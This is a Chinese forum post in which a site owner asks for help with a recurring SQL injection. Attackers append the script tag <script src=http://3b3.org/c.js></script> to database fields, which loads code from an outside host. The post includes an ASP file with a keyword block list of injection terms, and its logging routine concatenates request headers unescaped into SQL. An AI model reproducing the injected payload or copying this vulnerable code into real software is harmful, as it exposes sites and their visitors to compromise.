急问关于老掉牙的SQL注入的问题, 偶遇到高手了,一般用来防止SQL注入的方法不起作用;急急急....

网站为:www.cfaeo.cn
www.cfaeo.com
数据库为: MSSQL2005
起先是用自己的服务器,安装的WIN2003系统;其实数据量也不是很大;总被人家修改,每次在数据表字段尾部添加:<script src=http://3b3.org/c.js></script>

而后我将打开数据库连接的文件,conn.ASP文件添加了防注入的过虑;不行还是会被改;
网站提示到的;防止大小写;GET;POST等过虑我都做过了;结果不行,我怕是人家在服务器里留了木马之类的什么,怕自己对服务器安全做的不够;就将网站整个移至万网空间了;在万网上租用空间及数据库;相信人家的服务器安全一定做到最后;也不会有木马之类的东西;可是结果还是一样;可以很随意的在我的数据库后面添加那段JS代码;
现在我无语了;

特来请江湖救急

我将我的程序代码附上;请下虾们帮忙...

conn.asp
<%
Server.ScriptTimeOut=3600
dim conn,con_string
con_string = "provider=sqloledb;driver={SQL server};server=dsc-04.hichina.com;uid=******;pwd=*******;database=dsc040056_db"
set conn=server.createobject("adodb.connection")
conn.open con_string

'创建日志记录
'ip记录
if Request.ServerVariables("HTTP_X_FORWARDED_FOR")=empty then
remoteaddr=Request.ServerVariables("REMOTE_ADDR")
else
remoteaddr=Request.ServerVariables("HTTP_X_FORWARDED_FOR")
end if
sub log(message)
conn.Execute("insert into log (username,ip,windows,remark) values ('"&session("admin_name")&"','"&remoteaddr&"','"&Request.Servervariables("HTTP_USER_AGENT")&"','"&message&"')")
end sub
'***********************************************
'过程函数名：sqlcheck
'作 用：自己写一个防止SQL注入
'参 数：Str
'返回值：Str
'***********************************************

'ascii 表示
'chr(37) 过滤SQL注入%
'chr(39) 过滤SQL注入'
'chr(43) 过滤SQL注入+
'chr(60) 过滤SQL注入<
'chr(61) 过滤SQL注入>

SQL_injdata="and|exec|insert|select|delete|update|count|set|(|)|*|'|%|+|>|<|chr|mid|master|truncate|char|declare|xp_|sp_|0x|%20|chr(37)|chr(39)|chr(43)|chr(60)|chr(62)"
sql_inj=split(SQL_injdata,"|")
if request.form<>"" then
for each sql_post in request.form
for sql_date=0 to Ubound(sql_inj)
if instr(LCase(request.form(sql_post)),sql_inj(sql_date))>0 then
Response.write("<script language=javascript>alert('系统添加防止SQL注入！请不要尝试！\n"&sql_inj(sql_date)&"\n您的信息我们已录下来\n您的IP："&Request.ServerVariables("REMOTE_ADDR")&" 时间为："&now()&"\n请求方法为："&Request.ServerVariables("Request_Method") &"\n端口号为："&Request.ServerVariables("Server_Port") &"');</script>")
log("不合法字符"&sql_inj(sql_date)&" <br>请求方法为："&Request.ServerVariables("Request_Method") &"\n端口号为："&Request.ServerVariables("Server_Port") &"页面为<BR>"&Request.ServerVariables("script_name")&"<br>"&Request.ServerVariables("Query_String")&"<br>"&Request.form&"")

response.End
end if
next
next
end if



If Request.QueryString<>"" Then
for each sql_get in request.QueryString
For sql_date=0 To Ubound(sql_inj)
if instr(LCase(request.QueryString(sql_get)),sql_inj(sql_date))>0 then
Response.write("<script language=javascript>alert('系统添加防止SQL注入！请不要尝试！\n"&sql_inj(sql_date)&"\n您的信息我们已录下来\n您的IP："&Request.ServerVariables("REMOTE_ADDR")&" 时间为："&now()&"\n请求方法为："&Request.ServerVariables("Request_Method") &"\n端口号为："&Request.ServerVariables("Server_Port") &"');</script>")
log("不合法字符"&sql_inj(sql_date)&" <br>请求方法为："&Request.ServerVariables("Request_Method") &"\n端口号为："&Request.ServerVariables("Server_Port") &"页面为<BR>"&Request.ServerVariables("script_name")&"<br>"&Request.ServerVariables("Query_String")&"<br>"&Request.form&"")

response.End ()
end if
next
next
end if
%>